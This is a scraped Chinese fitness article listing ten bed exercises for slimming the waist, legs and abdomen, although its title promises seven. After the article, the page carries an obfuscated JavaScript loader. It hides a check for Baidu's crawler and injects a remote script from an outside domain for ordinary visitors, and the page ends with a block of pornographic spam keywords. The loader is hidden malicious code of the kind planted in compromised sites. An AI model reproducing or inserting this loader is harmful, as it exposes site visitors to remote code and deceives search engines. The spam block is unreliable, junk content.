當前位置:首頁 > 減肥 > 減肥方法 > 正文

女人7種床上姿勢美容保健

2017-04-26 18:14:17  來源:360常識網   熱度:
導語:您只需要15分鐘,就可以讓你身材變得誘惑無限,胸部集中上挺,飽滿。 練習1 保持平躺仰臥的姿勢,兩腳打開與肩同寬,先將右腳向上抬起10CM

您只需要15分鐘,就可以讓你身材變得誘惑無限,胸部集中上挺,飽滿。

練習1

保持平躺仰臥的姿勢,兩腳打開與肩同寬,先將右腳向上抬起10CM,腳尖往里勾起并停頓一秒,再輕輕放下,注意腳后跟不能靠在床上。完成后換左腳再重復同樣的動作。一組動作重復5次。

效果:不僅可以有效減去肚子兩側的墜肉,還能收緊腿部,使下半身更苗條。

練習2

向左上方盡可能抬高右腳,在空中停頓一秒鐘再放下,完成后再換左腳。注意膝蓋不能用力,才能達到預期的瘦腿效果,也不要過于勉強以免拉傷腿部肌肉。重復這組動作5—7次。

效果:可以緊實腹部及腿部肌肉。

練習3

保持仰臥姿勢,雙手抱緊膝蓋,大腿向腹部曲伸,并抬起上半身再輕輕躺下。重復此動作5—10次。

效果:能有效強化胸部及腰部力量,收縮腰部墜肉。

練習4

保持平躺仰臥的姿勢,兩腿打開與肩同寬。手臂曲伸成90度直角貼緊地面,手心朝上。彎曲左腿膝蓋,直起上身,使得右手肘部能夠碰觸左腿膝蓋。換右腿重復同樣的動作為一組。重復2—3組,每組10次。

效果:增強腹部力量,緊實大腿肌肉。

練習5

保持平躺仰臥的姿勢,兩腿打開與肩同寬。兩手握緊啞鈴并向胸部正上方舉起,注意膝蓋保持筆直不能彎曲。接著調整呼吸,上身慢慢向左右兩側扭轉。左右各10次為一組,重復2—3組。

效果:拉伸腹部兩側肌肉,改善腹部松弛狀況。

練習6

身體側臥,運用腿肚力量夾住靠墊。雙手撐地以保持身體平衡。抬起頭部,眼睛直視前方。調整呼吸,雙腿夾住靠墊并向上抬起,動作要慢才能達到理想的瘦身效果。10次動作為一組,重復10組。

效果:強效收縮腹部、大腿及小腿部位的肌肉,讓腿部更纖細苗條。

練習7

平躺仰臥,兩腿伸直,腳跟并攏。雙手叉腰,眼睛直視上方,調整好呼吸并慢慢將兩腿膝蓋曲起至胸前位置,最后再慢慢放下并伸直雙腿。15次為一組,重復2—3組。

效果:使小肚肌肉更加緊實,有效改善腹部松弛狀況。

練習8

平躺仰臥,兩腿打開與肩同寬。兩臂伸直,肘部貼近耳朵部位,分別抬起左腿和右手并直起上身,使得右手觸碰左腿腳尖,左右各7次為一組,重復2—3組。

效果:有效消除小腹突起。

練習9

準備好兩副橡皮圈。兩腿打開與肩同寬。接著兩腳各踩住一副橡皮圈的一端,再將橡皮圈左右交叉,兩手分別握緊兩副橡皮圈的另一端。保持下半身不動,左右扭轉上半身。注意挺直腰桿,身體不能前傾。20次為一組,重復3—4組。

效果:拉伸腰部肌肉,使腰部更加緊實纖細。

練習10

平躺仰臥,雙手打開放在身體兩側,掌心向下。保持上半身不動,曲膝并垂直向上抬起。接著兩腿膝蓋并攏并向左側擺動并貼地,右肩部位必須緊貼地面不能抬起?;謴脱雠P姿勢后再遵循相同的要領向右側擺動雙膝。左右各一次為一組,重復8組。

效果:可以有效減去肚子兩側的墜肉,還能收緊腿部,使下半身更苗條。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
综合人妻久久一区二区精品| 色妞妞www精品视频| 国产精品一区二区久久乐下载 | 中文成人无码精品久久久不卡| 国产精品55夜色66夜色| 中文字幕无码精品三级在线电影 | 久久亚洲伊人中字综合精品| 黑猫福利精品第一视频| 国产精品国产三级国产an| 青草青草久热精品视频在线网站| 老司机精品视频免费| 国产成人精品18| 2020国产精品视频| 国产成人亚洲综合无码精品| 国产精品人成在线观看| 国产精品无码MV在线观看| 国产成人精品怡红院| 五月花精品视频在线观看| 中文字幕在线久热精品| 久久久精品久久久久久| 青青草国产精品视频| 久热中文字幕在线精品免费| 久久免费视频精品| 亚洲精品国产品国语在线| 国产精品国产高清国产专区| 国产精品免费播放| 亚洲av永久无码精品网址| 国产精品久久免费| 97精品视频在线观看| 久久丝袜精品综合网站| 精品国产日产一区二区三区| 国产在线观看一区二区三区精品| 免费人妻精品一区二区三区 | 日韩精品专区AV无码| 国产成人无码精品一区二区三区 | 国产精品99久久久久久董美香| 国产精品无码aⅴ嫩草| 日韩AV无码精品一二三区| 久久精品国产亚洲av天美18| 亚洲精品中文字幕| 亚洲人成色777777精品|